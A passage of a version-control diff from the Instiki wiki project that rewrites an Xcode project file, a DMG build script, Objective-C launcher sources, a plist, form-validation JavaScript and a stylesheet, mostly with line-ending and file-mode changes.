0; - sourceTree = ""; - }; - 17F6C11206629574007E0BD0 = { - fileRef = 17F6C11106629574007E0BD0; - isa = PBXBuildFile; - settings = { - }; - }; - 17F6C113066295D0007E0BD0 = { - isa = PBXFileReference; - lastKnownFileType = folder; - name = ruby; - path = /usr/local/lib/ruby; - refType = 0; - sourceTree = ""; - }; - 17F6C3A90662960F007E0BD0 = { - buildActionMask = 2147483647; - dstPath = lib; - dstSubfolderSpec = 7; - files = ( - 17F6C3CF066296B5007E0BD0, - ); - isa = PBXCopyFilesBuildPhase; - runOnlyForDeploymentPostprocessing = 0; - }; - 17F6C3CF066296B5007E0BD0 = { - fileRef = 17F6C113066295D0007E0BD0; - isa = PBXBuildFile; - settings = { - }; - }; - 17F6C3D2066296E4007E0BD0 = { - children = ( - 17F6C11106629574007E0BD0, - 17F6C113066295D0007E0BD0, - ); - isa = PBXGroup; - name = "Ruby 1.8"; - refType = 4; - sourceTree = ""; - }; -//170 -//171 -//172 -//173 -//174 -//190 -//191 -//192 -//193 -//194 - 19C28FACFE9D520D11CA2CBB = { - children = ( - 8D1107320486CEB800E47090, - ); - isa = PBXGroup; - name = Products; - refType = 4; - sourceTree = ""; - }; -//190 -//191 -//192 -//193 -//194 -//290 -//291 -//292 -//293 -//294 - 29B97313FDCFA39411CA2CEA = { - buildSettings = { - }; - buildStyles = ( - 4A9504CCFFE6A4B311CA0CBA, - 4A9504CDFFE6A4B311CA0CBA, - ); - hasScannedForEncodings = 1; - isa = PBXProject; - mainGroup = 29B97314FDCFA39411CA2CEA; - projectDirPath = ""; - targets = ( - 8D1107260486CEB800E47090, - ); - }; - 29B97314FDCFA39411CA2CEA = { - children = ( - 080E96DDFE201D6D7F000001, - 29B97315FDCFA39411CA2CEA, - 29B97317FDCFA39411CA2CEA, - 29B97323FDCFA39411CA2CEA, - 19C28FACFE9D520D11CA2CBB, - 17C1C6E2065D458D003526E7, - ); - isa = PBXGroup; - name = Instiki; - path = ""; - refType = 4; - sourceTree = ""; - }; - 29B97315FDCFA39411CA2CEA = { - children = ( - 32CA4F630368D1EE00C91783, - 29B97316FDCFA39411CA2CEA, - ); - isa = PBXGroup; - name = "Other Sources"; - path = ""; - refType = 4; - sourceTree = ""; - }; - 29B97316FDCFA39411CA2CEA = { - fileEncoding = 30; - isa = PBXFileReference; - lastKnownFileType = sourcecode.cpp.objcpp; - path = main.mm; - refType = 4; - sourceTree = ""; - }; - 29B97317FDCFA39411CA2CEA = { - children = ( - 17BF6FD9067536EB003F37D6, - 17F6C3D2066296E4007E0BD0, - 8D1107310486CEB800E47090, - 089C165CFE840E0CC02AAC07, - 29B97318FDCFA39411CA2CEA, - 17C1C5CD065D3A3C003526E7, - ); - isa = PBXGroup; - name = Resources; - path = ""; - refType = 4; - sourceTree = ""; - }; - 29B97318FDCFA39411CA2CEA = { - children = ( - 29B97319FDCFA39411CA2CEA, - ); - isa = PBXVariantGroup; - name = MainMenu.nib; - path = ""; - refType = 4; - sourceTree = ""; - }; - 29B97319FDCFA39411CA2CEA = { - isa = PBXFileReference; - lastKnownFileType = wrapper.nib; - name = English; - path = English.lproj/MainMenu.nib; - refType = 4; - sourceTree = ""; - }; - 29B97323FDCFA39411CA2CEA = { - children = ( - 1058C7A0FEA54F0111CA2CBB, - 1058C7A2FEA54F0111CA2CBB, - ); - isa = PBXGroup; - name = Frameworks; - path = ""; - refType = 4; - sourceTree = ""; - }; - 29B97324FDCFA39411CA2CEA = { - fallbackIsa = PBXFileReference; - isa = PBXFrameworkReference; - lastKnownFileType = wrapper.framework; - name = AppKit.framework; - path = /System/Library/Frameworks/AppKit.framework; - refType = 0; - sourceTree = ""; - }; - 29B97325FDCFA39411CA2CEA = { - fallbackIsa = PBXFileReference; - isa = PBXFrameworkReference; - lastKnownFileType = wrapper.framework; - name = Foundation.framework; - path = /System/Library/Frameworks/Foundation.framework; - refType = 0; - sourceTree = ""; - }; -//290 -//291 -//292 -//293 -//294 -//320 -//321 -//322 -//323 -//324 - 32CA4F630368D1EE00C91783 = { - fileEncoding = 4; - isa = PBXFileReference; - lastKnownFileType = sourcecode.c.h; - path = Instiki_Prefix.pch; - refType = 4; - sourceTree = ""; - }; -//320 -//321 -//322 -//323 -//324 -//4A0 -//4A1 -//4A2 -//4A3 -//4A4 - 4A9504CCFFE6A4B311CA0CBA = { - buildRules = ( - ); - buildSettings = { - COPY_PHASE_STRIP = NO; - DEBUGGING_SYMBOLS = YES; - GCC_DYNAMIC_NO_PIC = NO; - GCC_ENABLE_FIX_AND_CONTINUE = YES; - GCC_GENERATE_DEBUGGING_SYMBOLS = YES; - GCC_OPTIMIZATION_LEVEL = 0; - OPTIMIZATION_CFLAGS = "-O0"; - ZERO_LINK = YES; - }; - isa = PBXBuildStyle; - name = Development; - }; - 4A9504CDFFE6A4B311CA0CBA = { - buildRules = ( - ); - buildSettings = { - COPY_PHASE_STRIP = YES; - GCC_ENABLE_FIX_AND_CONTINUE = NO; - ZERO_LINK = NO; - }; - isa = PBXBuildStyle; - name = Deployment; - }; -//4A0 -//4A1 -//4A2 -//4A3 -//4A4 -//630 -//631 -//632 -//633 -//634 - 63B86D0F0673A53100807E13 = { - buildActionMask = 2147483647; - dstPath = rb_src; - dstSubfolderSpec = 7; - files = ( - 63B86D310673A5D600807E13, - 63B86D1C0673A5B600807E13, - 63B86D120673A59100807E13, - ); - isa = PBXCopyFilesBuildPhase; - runOnlyForDeploymentPostprocessing = 0; - }; - 63B86D100673A58400807E13 = { - explicitFileType = folder; - fileEncoding = 4; - isa = PBXFileReference; - name = app; - path = /Users/duff/Source/rb_src/instiki/app; - refType = 0; - sourceTree = ""; - }; - 63B86D120673A59100807E13 = { - fileRef = 63B86D100673A58400807E13; - isa = PBXBuildFile; - settings = { - }; - }; - 63B86D1A0673A5B200807E13 = { - explicitFileType = folder; - fileEncoding = 4; - isa = PBXFileReference; - name = libraries; - path = /Users/duff/Source/rb_src/instiki/libraries; - refType = 0; - sourceTree = ""; - }; - 63B86D1C0673A5B600807E13 = { - fileRef = 63B86D1A0673A5B200807E13; - isa = PBXBuildFile; - settings = { - }; - }; - 63B86D2F0673A5D300807E13 = { - fileEncoding = 4; - isa = PBXFileReference; - lastKnownFileType = text.script.ruby; - name = instiki.rb; - path = /Users/duff/Source/rb_src/instiki/instiki.rb; - refType = 0; - sourceTree = ""; - }; - 63B86D310673A5D600807E13 = { - fileRef = 63B86D2F0673A5D300807E13; - isa = PBXBuildFile; - settings = { - }; - }; -//630 -//631 -//632 -//633 -//634 -//8D0 -//8D1 -//8D2 -//8D3 -//8D4 - 8D1107260486CEB800E47090 = { - buildPhases = ( - 8D1107270486CEB800E47090, - 8D1107290486CEB800E47090, - 8D11072C0486CEB800E47090, - 8D11072E0486CEB800E47090, - 17F6C3A90662960F007E0BD0, - 63B86D0F0673A53100807E13, - ); - buildRules = ( - ); - buildSettings = { - FRAMEWORK_SEARCH_PATHS = ""; - GCC_ENABLE_TRIGRAPHS = NO; - GCC_GENERATE_DEBUGGING_SYMBOLS = NO; - GCC_PRECOMPILE_PREFIX_HEADER = YES; - GCC_PREFIX_HEADER = Instiki_Prefix.pch; - GCC_WARN_ABOUT_MISSING_PROTOTYPES = NO; - GCC_WARN_FOUR_CHARACTER_CONSTANTS = NO; - GCC_WARN_UNKNOWN_PRAGMAS = NO; - HEADER_SEARCH_PATHS = ""; - INFOPLIST_FILE = Info.plist; - INSTALL_PATH = "$(HOME)/Applications"; - LIBRARY_SEARCH_PATHS = ""; - OTHER_CFLAGS = ""; - OTHER_LDFLAGS = ""; - PRODUCT_NAME = Instiki; - SECTORDER_FLAGS = ""; - WARNING_CFLAGS = "-Wmost -Wno-four-char-constants -Wno-unknown-pragmas"; - WRAPPER_EXTENSION = app; - }; - dependencies = ( - ); - isa = PBXNativeTarget; - name = Instiki; - productInstallPath = "$(HOME)/Applications"; - productName = Instiki; - productReference = 8D1107320486CEB800E47090; - productType = "com.apple.product-type.application"; - }; - 8D1107270486CEB800E47090 = { - buildActionMask = 2147483647; - files = ( - 8D1107280486CEB800E47090, - 174B2768065CE31400ED6208, - ); - isa = PBXHeadersBuildPhase; - runOnlyForDeploymentPostprocessing = 0; - }; - 8D1107280486CEB800E47090 = { - fileRef = 32CA4F630368D1EE00C91783; - isa = PBXBuildFile; - settings = { - }; - }; - 8D1107290486CEB800E47090 = { - buildActionMask = 2147483647; - files = ( - 8D11072A0486CEB800E47090, - 8D11072B0486CEB800E47090, - 17C1C5CE065D3A3C003526E7, - 17F6C11206629574007E0BD0, - ); - isa = PBXResourcesBuildPhase; - runOnlyForDeploymentPostprocessing = 0; - }; - 8D11072A0486CEB800E47090 = { - fileRef = 29B97318FDCFA39411CA2CEA; - isa = PBXBuildFile; - settings = { - }; - }; - 8D11072B0486CEB800E47090 = { - fileRef = 089C165CFE840E0CC02AAC07; - isa = PBXBuildFile; - settings = { - }; - }; - 8D11072C0486CEB800E47090 = { - buildActionMask = 2147483647; - files = ( - 8D11072D0486CEB800E47090, - 174B2767065CE31400ED6208, - ); - isa = PBXSourcesBuildPhase; - runOnlyForDeploymentPostprocessing = 0; - }; - 8D11072D0486CEB800E47090 = { - fileRef = 29B97316FDCFA39411CA2CEA; - isa = PBXBuildFile; - settings = { - ATTRIBUTES = ( - ); - }; - }; - 8D11072E0486CEB800E47090 = { - buildActionMask = 2147483647; - files = ( - 8D11072F0486CEB800E47090, - ); - isa = PBXFrameworksBuildPhase; - runOnlyForDeploymentPostprocessing = 0; - }; - 8D11072F0486CEB800E47090 = { - fileRef = 1058C7A1FEA54F0111CA2CBB; - isa = PBXBuildFile; - settings = { - }; - }; - 8D1107310486CEB800E47090 = { - fileEncoding = 4; - isa = PBXFileReference; - lastKnownFileType = text.plist; - path = Info.plist; - refType = 4; - sourceTree = ""; - }; - 8D1107320486CEB800E47090 = { - explicitFileType = wrapper.application; - includeInIndex = 0; - isa = PBXFileReference; - path = Instiki.app; - refType = 3; - sourceTree = BUILT_PRODUCTS_DIR; - }; - }; - rootObject = 29B97313FDCFA39411CA2CEA; -} +// !$*UTF8*$! +{ + archiveVersion = 1; + classes = { + }; + objectVersion = 39; + objects = { + 080E96DDFE201D6D7F000001 = { + children = ( + 174B2765065CE31400ED6208, + 174B2766065CE31400ED6208, + ); + isa = PBXGroup; + name = Classes; + refType = 4; + sourceTree = ""; + }; + 089C165CFE840E0CC02AAC07 = { + children = ( + 089C165DFE840E0CC02AAC07, + ); + isa = PBXVariantGroup; + name = InfoPlist.strings; + refType = 4; + sourceTree = ""; + }; + 089C165DFE840E0CC02AAC07 = { + fileEncoding = 10; + isa = PBXFileReference; + lastKnownFileType = text.plist.strings; + name = English; + path = English.lproj/InfoPlist.strings; + refType = 4; + sourceTree = ""; + }; +//080 +//081 +//082 +//083 +//084 +//100 +//101 +//102 +//103 +//104 + 1058C7A0FEA54F0111CA2CBB = { + children = ( + 1058C7A1FEA54F0111CA2CBB, + ); + isa = PBXGroup; + name = "Linked Frameworks"; + refType = 4; + sourceTree = ""; + }; + 1058C7A1FEA54F0111CA2CBB = { + fallbackIsa = PBXFileReference; + isa = PBXFrameworkReference; + lastKnownFileType = wrapper.framework; + name = Cocoa.framework; + path = /System/Library/Frameworks/Cocoa.framework; + refType = 0; + sourceTree = ""; + }; + 1058C7A2FEA54F0111CA2CBB = { + children = ( + 29B97325FDCFA39411CA2CEA, + 29B97324FDCFA39411CA2CEA, + ); + isa = PBXGroup; + name = "Other Frameworks"; + refType = 4; + sourceTree = ""; + }; +//100 +//101 +//102 +//103 +//104 +//170 +//171 +//172 +//173 +//174 + 174B2765065CE31400ED6208 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = sourcecode.cpp.objcpp; + path = AppDelegate.mm; + refType = 4; + sourceTree = ""; + }; + 174B2766065CE31400ED6208 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = sourcecode.c.h; + path = AppDelegate.h; + refType = 4; + sourceTree = ""; + }; + 174B2767065CE31400ED6208 = { + fileRef = 174B2765065CE31400ED6208; + isa = PBXBuildFile; + settings = { + }; + }; + 174B2768065CE31400ED6208 = { + fileRef = 174B2766065CE31400ED6208; + isa = PBXBuildFile; + settings = { + }; + }; + 17BF6FD9067536EB003F37D6 = { + children = ( + 63B86D2F0673A5D300807E13, + 63B86D1A0673A5B200807E13, + 63B86D100673A58400807E13, + ); + isa = PBXGroup; + name = "Instiki Source"; + refType = 4; + sourceTree = ""; + }; + 17C1C5CD065D3A3C003526E7 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = text.html; + path = Credits.html; + refType = 4; + sourceTree = ""; + }; + 17C1C5CE065D3A3C003526E7 = { + fileRef = 17C1C5CD065D3A3C003526E7; + isa = PBXBuildFile; + settings = { + }; + }; + 17C1C6E2065D458D003526E7 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = text.script.sh; + path = MakeDMG.sh; + refType = 4; + sourceTree = ""; + }; + 17F6C11106629574007E0BD0 = { + isa = PBXFileReference; + lastKnownFileType = "compiled.mach-o.executable"; + name = ruby; + path = /usr/local/bin/ruby; + refType = 0; + sourceTree = ""; + }; + 17F6C11206629574007E0BD0 = { + fileRef = 17F6C11106629574007E0BD0; + isa = PBXBuildFile; + settings = { + }; + }; + 17F6C113066295D0007E0BD0 = { + isa = PBXFileReference; + lastKnownFileType = folder; + name = ruby; + path = /usr/local/lib/ruby; + refType = 0; + sourceTree = ""; + }; + 17F6C3A90662960F007E0BD0 = { + buildActionMask = 2147483647; + dstPath = lib; + dstSubfolderSpec = 7; + files = ( + 17F6C3CF066296B5007E0BD0, + ); + isa = PBXCopyFilesBuildPhase; + runOnlyForDeploymentPostprocessing = 0; + }; + 17F6C3CF066296B5007E0BD0 = { + fileRef = 17F6C113066295D0007E0BD0; + isa = PBXBuildFile; + settings = { + }; + }; + 17F6C3D2066296E4007E0BD0 = { + children = ( + 17F6C11106629574007E0BD0, + 17F6C113066295D0007E0BD0, + ); + isa = PBXGroup; + name = "Ruby 1.8"; + refType = 4; + sourceTree = ""; + }; +//170 +//171 +//172 +//173 +//174 +//190 +//191 +//192 +//193 +//194 + 19C28FACFE9D520D11CA2CBB = { + children = ( + 8D1107320486CEB800E47090, + ); + isa = PBXGroup; + name = Products; + refType = 4; + sourceTree = ""; + }; +//190 +//191 +//192 +//193 +//194 +//290 +//291 +//292 +//293 +//294 + 29B97313FDCFA39411CA2CEA = { + buildSettings = { + }; + buildStyles = ( + 4A9504CCFFE6A4B311CA0CBA, + 4A9504CDFFE6A4B311CA0CBA, + ); + hasScannedForEncodings = 1; + isa = PBXProject; + mainGroup = 29B97314FDCFA39411CA2CEA; + projectDirPath = ""; + targets = ( + 8D1107260486CEB800E47090, + ); + }; + 29B97314FDCFA39411CA2CEA = { + children = ( + 080E96DDFE201D6D7F000001, + 29B97315FDCFA39411CA2CEA, + 29B97317FDCFA39411CA2CEA, + 29B97323FDCFA39411CA2CEA, + 19C28FACFE9D520D11CA2CBB, + 17C1C6E2065D458D003526E7, + ); + isa = PBXGroup; + name = Instiki; + path = ""; + refType = 4; + sourceTree = ""; + }; + 29B97315FDCFA39411CA2CEA = { + children = ( + 32CA4F630368D1EE00C91783, + 29B97316FDCFA39411CA2CEA, + ); + isa = PBXGroup; + name = "Other Sources"; + path = ""; + refType = 4; + sourceTree = ""; + }; + 29B97316FDCFA39411CA2CEA = { + fileEncoding = 30; + isa = PBXFileReference; + lastKnownFileType = sourcecode.cpp.objcpp; + path = main.mm; + refType = 4; + sourceTree = ""; + }; + 29B97317FDCFA39411CA2CEA = { + children = ( + 17BF6FD9067536EB003F37D6, + 17F6C3D2066296E4007E0BD0, + 8D1107310486CEB800E47090, + 089C165CFE840E0CC02AAC07, + 29B97318FDCFA39411CA2CEA, + 17C1C5CD065D3A3C003526E7, + ); + isa = PBXGroup; + name = Resources; + path = ""; + refType = 4; + sourceTree = ""; + }; + 29B97318FDCFA39411CA2CEA = { + children = ( + 29B97319FDCFA39411CA2CEA, + ); + isa = PBXVariantGroup; + name = MainMenu.nib; + path = ""; + refType = 4; + sourceTree = ""; + }; + 29B97319FDCFA39411CA2CEA = { + isa = PBXFileReference; + lastKnownFileType = wrapper.nib; + name = English; + path = English.lproj/MainMenu.nib; + refType = 4; + sourceTree = ""; + }; + 29B97323FDCFA39411CA2CEA = { + children = ( + 1058C7A0FEA54F0111CA2CBB, + 1058C7A2FEA54F0111CA2CBB, + ); + isa = PBXGroup; + name = Frameworks; + path = ""; + refType = 4; + sourceTree = ""; + }; + 29B97324FDCFA39411CA2CEA = { + fallbackIsa = PBXFileReference; + isa = PBXFrameworkReference; + lastKnownFileType = wrapper.framework; + name = AppKit.framework; + path = /System/Library/Frameworks/AppKit.framework; + refType = 0; + sourceTree = ""; + }; + 29B97325FDCFA39411CA2CEA = { + fallbackIsa = PBXFileReference; + isa = PBXFrameworkReference; + lastKnownFileType = wrapper.framework; + name = Foundation.framework; + path = /System/Library/Frameworks/Foundation.framework; + refType = 0; + sourceTree = ""; + }; +//290 +//291 +//292 +//293 +//294 +//320 +//321 +//322 +//323 +//324 + 32CA4F630368D1EE00C91783 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = sourcecode.c.h; + path = Instiki_Prefix.pch; + refType = 4; + sourceTree = ""; + }; +//320 +//321 +//322 +//323 +//324 +//4A0 +//4A1 +//4A2 +//4A3 +//4A4 + 4A9504CCFFE6A4B311CA0CBA = { + buildRules = ( + ); + buildSettings = { + COPY_PHASE_STRIP = NO; + DEBUGGING_SYMBOLS = YES; + GCC_DYNAMIC_NO_PIC = NO; + GCC_ENABLE_FIX_AND_CONTINUE = YES; + GCC_GENERATE_DEBUGGING_SYMBOLS = YES; + GCC_OPTIMIZATION_LEVEL = 0; + OPTIMIZATION_CFLAGS = "-O0"; + ZERO_LINK = YES; + }; + isa = PBXBuildStyle; + name = Development; + }; + 4A9504CDFFE6A4B311CA0CBA = { + buildRules = ( + ); + buildSettings = { + COPY_PHASE_STRIP = YES; + GCC_ENABLE_FIX_AND_CONTINUE = NO; + ZERO_LINK = NO; + }; + isa = PBXBuildStyle; + name = Deployment; + }; +//4A0 +//4A1 +//4A2 +//4A3 +//4A4 +//630 +//631 +//632 +//633 +//634 + 63B86D0F0673A53100807E13 = { + buildActionMask = 2147483647; + dstPath = rb_src; + dstSubfolderSpec = 7; + files = ( + 63B86D310673A5D600807E13, + 63B86D1C0673A5B600807E13, + 63B86D120673A59100807E13, + ); + isa = PBXCopyFilesBuildPhase; + runOnlyForDeploymentPostprocessing = 0; + }; + 63B86D100673A58400807E13 = { + explicitFileType = folder; + fileEncoding = 4; + isa = PBXFileReference; + name = app; + path = /Users/duff/Source/rb_src/instiki/app; + refType = 0; + sourceTree = ""; + }; + 63B86D120673A59100807E13 = { + fileRef = 63B86D100673A58400807E13; + isa = PBXBuildFile; + settings = { + }; + }; + 63B86D1A0673A5B200807E13 = { + explicitFileType = folder; + fileEncoding = 4; + isa = PBXFileReference; + name = libraries; + path = /Users/duff/Source/rb_src/instiki/libraries; + refType = 0; + sourceTree = ""; + }; + 63B86D1C0673A5B600807E13 = { + fileRef = 63B86D1A0673A5B200807E13; + isa = PBXBuildFile; + settings = { + }; + }; + 63B86D2F0673A5D300807E13 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = text.script.ruby; + name = instiki.rb; + path = /Users/duff/Source/rb_src/instiki/instiki.rb; + refType = 0; + sourceTree = ""; + }; + 63B86D310673A5D600807E13 = { + fileRef = 63B86D2F0673A5D300807E13; + isa = PBXBuildFile; + settings = { + }; + }; +//630 +//631 +//632 +//633 +//634 +//8D0 +//8D1 +//8D2 +//8D3 +//8D4 + 8D1107260486CEB800E47090 = { + buildPhases = ( + 8D1107270486CEB800E47090, + 8D1107290486CEB800E47090, + 8D11072C0486CEB800E47090, + 8D11072E0486CEB800E47090, + 17F6C3A90662960F007E0BD0, + 63B86D0F0673A53100807E13, + ); + buildRules = ( + ); + buildSettings = { + FRAMEWORK_SEARCH_PATHS = ""; + GCC_ENABLE_TRIGRAPHS = NO; + GCC_GENERATE_DEBUGGING_SYMBOLS = NO; + GCC_PRECOMPILE_PREFIX_HEADER = YES; + GCC_PREFIX_HEADER = Instiki_Prefix.pch; + GCC_WARN_ABOUT_MISSING_PROTOTYPES = NO; + GCC_WARN_FOUR_CHARACTER_CONSTANTS = NO; + GCC_WARN_UNKNOWN_PRAGMAS = NO; + HEADER_SEARCH_PATHS = ""; + INFOPLIST_FILE = Info.plist; + INSTALL_PATH = "$(HOME)/Applications"; + LIBRARY_SEARCH_PATHS = ""; + OTHER_CFLAGS = ""; + OTHER_LDFLAGS = ""; + PRODUCT_NAME = Instiki; + SECTORDER_FLAGS = ""; + WARNING_CFLAGS = "-Wmost -Wno-four-char-constants -Wno-unknown-pragmas"; + WRAPPER_EXTENSION = app; + }; + dependencies = ( + ); + isa = PBXNativeTarget; + name = Instiki; + productInstallPath = "$(HOME)/Applications"; + productName = Instiki; + productReference = 8D1107320486CEB800E47090; + productType = "com.apple.product-type.application"; + }; + 8D1107270486CEB800E47090 = { + buildActionMask = 2147483647; + files = ( + 8D1107280486CEB800E47090, + 174B2768065CE31400ED6208, + ); + isa = PBXHeadersBuildPhase; + runOnlyForDeploymentPostprocessing = 0; + }; + 8D1107280486CEB800E47090 = { + fileRef = 32CA4F630368D1EE00C91783; + isa = PBXBuildFile; + settings = { + }; + }; + 8D1107290486CEB800E47090 = { + buildActionMask = 2147483647; + files = ( + 8D11072A0486CEB800E47090, + 8D11072B0486CEB800E47090, + 17C1C5CE065D3A3C003526E7, + 17F6C11206629574007E0BD0, + ); + isa = PBXResourcesBuildPhase; + runOnlyForDeploymentPostprocessing = 0; + }; + 8D11072A0486CEB800E47090 = { + fileRef = 29B97318FDCFA39411CA2CEA; + isa = PBXBuildFile; + settings = { + }; + }; + 8D11072B0486CEB800E47090 = { + fileRef = 089C165CFE840E0CC02AAC07; + isa = PBXBuildFile; + settings = { + }; + }; + 8D11072C0486CEB800E47090 = { + buildActionMask = 2147483647; + files = ( + 8D11072D0486CEB800E47090, + 174B2767065CE31400ED6208, + ); + isa = PBXSourcesBuildPhase; + runOnlyForDeploymentPostprocessing = 0; + }; + 8D11072D0486CEB800E47090 = { + fileRef = 29B97316FDCFA39411CA2CEA; + isa = PBXBuildFile; + settings = { + ATTRIBUTES = ( + ); + }; + }; + 8D11072E0486CEB800E47090 = { + buildActionMask = 2147483647; + files = ( + 8D11072F0486CEB800E47090, + ); + isa = PBXFrameworksBuildPhase; + runOnlyForDeploymentPostprocessing = 0; + }; + 8D11072F0486CEB800E47090 = { + fileRef = 1058C7A1FEA54F0111CA2CBB; + isa = PBXBuildFile; + settings = { + }; + }; + 8D1107310486CEB800E47090 = { + fileEncoding = 4; + isa = PBXFileReference; + lastKnownFileType = text.plist; + path = Info.plist; + refType = 4; + sourceTree = ""; + }; + 8D1107320486CEB800E47090 = { + explicitFileType = wrapper.application; + includeInIndex = 0; + isa = PBXFileReference; + path = Instiki.app; + refType = 3; + sourceTree = BUILT_PRODUCTS_DIR; + }; + }; + rootObject = 29B97313FDCFA39411CA2CEA; +} diff --git a/natives/osx/desktop_launcher/Instiki_Prefix.pch b/natives/osx/desktop_launcher/Instiki_Prefix.pch old mode 100755 new mode 100644 index 93c4f875..4212f5ef --- a/natives/osx/desktop_launcher/Instiki_Prefix.pch +++ b/natives/osx/desktop_launcher/Instiki_Prefix.pch @@ -1,7 +1,7 @@ -// -// Prefix header for all source files of the 'Instiki' target in the 'Instiki' project -// - -#ifdef __OBJC__ - #import -#endif +// +// Prefix header for all source files of the 'Instiki' target in the 'Instiki' project +// + +#ifdef __OBJC__ + #import +#endif diff --git a/natives/osx/desktop_launcher/MakeDMG.sh b/natives/osx/desktop_launcher/MakeDMG.sh old mode 100755 new mode 100644 index 2050cdce..d1cddeb1 --- a/natives/osx/desktop_launcher/MakeDMG.sh +++ b/natives/osx/desktop_launcher/MakeDMG.sh @@ -1,9 +1,9 @@ -#!/bin/sh - -hdiutil create -size 12m -fs HFS+ -volname Instiki -ov /tmp/Instiki_12MB.dmg -hdiutil mount /tmp/Instiki_12MB.dmg -# strip ~/ruby/instiki/natives/osx/build/Instiki.app/Contents/MacOS/Instiki -ditto ~/ruby/instiki/natives/osx/desktop_launcher/build/Instiki.app /Volumes/Instiki/Instiki.app -hdiutil unmount /Volumes/Instiki -hdiutil convert -format UDZO -o /tmp/Instiki.dmg /tmp/Instiki_12MB.dmg -hdiutil internet-enable -yes /tmp/Instiki.dmg +#!/bin/sh + +hdiutil create -size 12m -fs HFS+ -volname Instiki -ov /tmp/Instiki_12MB.dmg +hdiutil mount /tmp/Instiki_12MB.dmg +# strip ~/ruby/instiki/natives/osx/build/Instiki.app/Contents/MacOS/Instiki +ditto ~/ruby/instiki/natives/osx/desktop_launcher/build/Instiki.app /Volumes/Instiki/Instiki.app +hdiutil unmount /Volumes/Instiki +hdiutil convert -format UDZO -o /tmp/Instiki.dmg /tmp/Instiki_12MB.dmg +hdiutil internet-enable -yes /tmp/Instiki.dmg diff --git a/natives/osx/desktop_launcher/main.mm b/natives/osx/desktop_launcher/main.mm old mode 100755 new mode 100644 index 586ba12c..0eb41cfe --- a/natives/osx/desktop_launcher/main.mm +++ b/natives/osx/desktop_launcher/main.mm @@ -1,14 +1,14 @@ -// -// main.mm -// Instiki -// -// Created by Allan Odgaard on Thu May 20 2004. -// Copyright (c) 2004 MacroMates. All rights reserved. -// - -#import - -int main (int argc, char const* argv[]) -{ - return NSApplicationMain(argc, argv); -} +// +// main.mm +// Instiki +// +// Created by Allan Odgaard on Thu May 20 2004. +// Copyright (c) 2004 MacroMates. All rights reserved. +// + +#import + +int main (int argc, char const* argv[]) +{ + return NSApplicationMain(argc, argv); +} diff --git a/natives/osx/desktop_launcher/version.plist b/natives/osx/desktop_launcher/version.plist old mode 100755 new mode 100644 index 5b7d8625..a2932018 --- a/natives/osx/desktop_launcher/version.plist +++ b/natives/osx/desktop_launcher/version.plist @@ -1,16 +1,16 @@ - - - - - BuildVersion - 17 - CFBundleShortVersionString - 0.1 - CFBundleVersion - 0.1 - ProjectName - NibPBTemplates - SourceVersion - 1150000 - - + + + + + BuildVersion + 17 + CFBundleShortVersionString + 0.1 + CFBundleVersion + 0.1 + ProjectName + NibPBTemplates + SourceVersion + 1150000 + + diff --git a/public/images/.images_go_here b/public/images/.images_go_here old mode 100755 new mode 100644 diff --git a/public/javascripts/edit_web.js b/public/javascripts/edit_web.js index d9dbe7a9..a81abf59 100644 --- a/public/javascripts/edit_web.js +++ b/public/javascripts/edit_web.js @@ -1,48 +1,48 @@ -function proposeAddress() { - document.getElementById('address').value = - document.getElementById('name').value.replace(/[^a-zA-Z0-9]/g, "").toLowerCase(); -} - -function cleanAddress() { - document.getElementById('address').value = - document.getElementById('address').value.replace(/[^a-zA-Z0-9]/g, "").toLowerCase(); -} - -function validateSetup() { - if (document.getElementById('system_password').value == "") { - alert("You must enter the system password"); - return false; - } - - if (document.getElementById('name').value == "") { - alert("You must pick a name for the web"); - return false; - } - - if (document.getElementById('address').value == "") { - alert("You must pick an address for the web"); - return false; - } - - if (document.getElementById('password').value != "" && - document.getElementById('password').value != document.getElementById('password_check').value) { - alert("The password and its verification doesn't match"); - return false; - } - - return true; -} - -// overriding auto-complete by form managers -// code by Chris Holland, lifted from -// http://chrisholland.blogspot.com/2004/11/banks-protect-privacy-disable.html -function overrideAutocomplete() { - if (document.getElementsByTagName) { - var inputElements = document.getElementsByTagName("input"); - for (i=0; inputElements[i]; i++) { - if (inputElements[i].className && (inputElements[i].className.indexOf("disableAutoComplete") != -1)) { - inputElements[i].setAttribute("autocomplete","off"); - }//if current input element has the disableAutoComplete class set. - }//loop thru input elements - } -} +function proposeAddress() { + document.getElementById('address').value = + document.getElementById('name').value.replace(/[^a-zA-Z0-9]/g, "").toLowerCase(); +} + +function cleanAddress() { + document.getElementById('address').value = + document.getElementById('address').value.replace(/[^a-zA-Z0-9]/g, "").toLowerCase(); +} + +function validateSetup() { + if (document.getElementById('system_password').value == "") { + alert("You must enter the system password"); + return false; + } + + if (document.getElementById('name').value == "") { + alert("You must pick a name for the web"); + return false; + } + + if (document.getElementById('address').value == "") { + alert("You must pick an address for the web"); + return false; + } + + if (document.getElementById('password').value != "" && + document.getElementById('password').value != document.getElementById('password_check').value) { + alert("The password and its verification doesn't match"); + return false; + } + + return true; +} + +// overriding auto-complete by form managers +// code by Chris Holland, lifted from +// http://chrisholland.blogspot.com/2004/11/banks-protect-privacy-disable.html +function overrideAutocomplete() { + if (document.getElementsByTagName) { + var inputElements = document.getElementsByTagName("input"); + for (i=0; inputElements[i]; i++) { + if (inputElements[i].className && (inputElements[i].className.indexOf("disableAutoComplete") != -1)) { + inputElements[i].setAttribute("autocomplete","off"); + }//if current input element has the disableAutoComplete class set. + }//loop thru input elements + } +} diff --git a/public/stylesheets/instiki.css b/public/stylesheets/instiki.css old mode 100755 new mode 100644 index f366a851..898330e3 --- a/public/stylesheets/instiki.css +++ b/public/stylesheets/instiki.css @@ -1,222 +1,222 @@ -#Container { - float: none; - margin: 0 auto; - text-align: center; -} - -#Content { - margin: 0; - padding: 5px; - text-align: left; - border-top: none; - float: left; -} - -body { background-color: #fff; color: #333; } - -body, p, ol, ul, td { - font-family: verdana, arial, helvetica, sans-serif; - font-size: 13px; - line-height: 18px; -} - -a { color: #000; } - -.newWikiWord { background-color: #eee; } -.newWikiWord a:hover { background-color: white; } - -a:visited { color: #666; } -a:hover { color: #fff; background-color:#000; } - -h1, h2, h3 { color: #333; font-family: georgia, verdana; } -h1 { font-size: 28px } -h2 { font-size: 19px } 